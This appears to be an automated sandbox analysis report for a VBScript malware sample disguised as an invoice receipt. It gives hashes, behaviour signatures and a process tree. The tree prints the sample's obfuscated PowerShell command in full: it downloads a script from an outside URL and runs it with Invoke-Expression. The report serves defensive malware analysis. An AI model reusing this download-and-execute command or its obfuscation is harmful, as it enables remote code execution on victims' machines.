Analysis
-
max time kernel
122s -
max time network
122s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
14-01-2022 12:32
Static task
static1
Behavioral task
behavioral1
Sample
G2M18C6INV0ICERECEIPT.vbs
Resource
win7-en-20211208
windows7_x64
0 signatures
0 seconds
General
-
Target
G2M18C6INV0ICERECEIPT.vbs
-
Size
4KB
-
MD5
e193dff484ce89bc7ba5ae2022ab7227
-
SHA1
49d652b6e0fe6071b99fa9a7e891cc5187ebc4db
-
SHA256
1b8775fa633e04edf24411129b02074e4a9b8a79c28896908ff57dafe7cde968
-
SHA512
a5796933a05066bb69a14b7c4bf0a77d3e5f58572390f9d342a39a95c14b43a2a6e67f7e9ecc163fd75552cd6226274f065f41be2888089901c19431b96878c5
Score
3/10
Malware Config
Signatures
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 268 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 268 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
WScript.exedescription pid process target process PID 1204 wrote to memory of 268 1204 WScript.exe powershell.exe PID 1204 wrote to memory of 268 1204 WScript.exe powershell.exe PID 1204 wrote to memory of 268 1204 WScript.exe powershell.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\G2M18C6INV0ICERECEIPT.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $Hx = 'HttP://swmen.com/ben/PS1vedy.txt';$HB=('{2}{0}{1}' -f'---------l---------o---------a---------d---------'.RePlace('---------',''),'**********s**********t**********r**********i**********n**********g**********'.RePlace('**********',''),'sss+Dsss+osss+wsss+nsss+'.RePlace('sss+',''));$HBB=('{2}{0}{1}' -f'---------e---------B---------c---------l---------'.RePlace('---------',''),'---------i---------e---------n---------t---------'.RePlace('---------',''),'---------Ne---------t---------.W---------'.RePlace('---------',''));$HBBB=('{2}{0}{1}' -f'------w-o------B------j------e------c------t $------H------'.RePlace('------',''),'------BB------).$H------B(------$H------x)------'.RePlace('------',''),'------I------`e------`X(------Ne------'.RePlace('------',''));$HBBBBB = ($HBBB -Join '')|InVoke-exPressioN2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/268-55-0x0000000000000000-mapping.dmp
-
memory/268-57-0x000007FEF3420000-0x000007FEF3F7D000-memory.dmpFilesize
11.4MB
-
memory/268-59-0x0000000002962000-0x0000000002964000-memory.dmpFilesize
8KB
-
memory/268-60-0x0000000002964000-0x0000000002967000-memory.dmpFilesize
12KB
-
memory/268-58-0x0000000002960000-0x0000000002962000-memory.dmpFilesize
8KB
-
memory/268-61-0x000000001B800000-0x000000001BAFF000-memory.dmpFilesize
3.0MB
-
memory/268-62-0x000000000296B000-0x000000000298A000-memory.dmpFilesize
124KB
-
memory/1204-54-0x000007FEFC261000-0x000007FEFC263000-memory.dmpFilesize
8KB